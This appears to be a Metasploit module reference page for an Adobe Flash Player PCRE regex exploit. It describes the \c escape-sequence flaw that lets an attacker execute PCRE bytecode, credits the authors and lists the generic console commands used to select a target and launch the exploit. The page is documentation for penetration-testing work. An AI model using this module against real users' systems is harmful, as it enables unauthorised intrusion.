Adobe Flash Player PCRE Regex Vulnerability
Description
This module exploits a vulnerability found in Adobe Flash Player. A compilation logic error in the PCRE engine, specifically in the handling of the \c escape sequence when followed by a multi-byte UTF8 character, allows arbitrary execution of PCRE bytecode.
Author(s)
- Mark Brand
- sinn3r <sinn3r@metasploit.com>
Platform
Windows
Development
Module Options
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/windows/browser/adobe_flash_pcre
msf exploit(adobe_flash_pcre) > show targets
...targets...
msf exploit(adobe_flash_pcre) > set TARGET < target-id >
msf exploit(adobe_flash_pcre) > show options
...show and set options...
msf exploit(adobe_flash_pcre) > exploit
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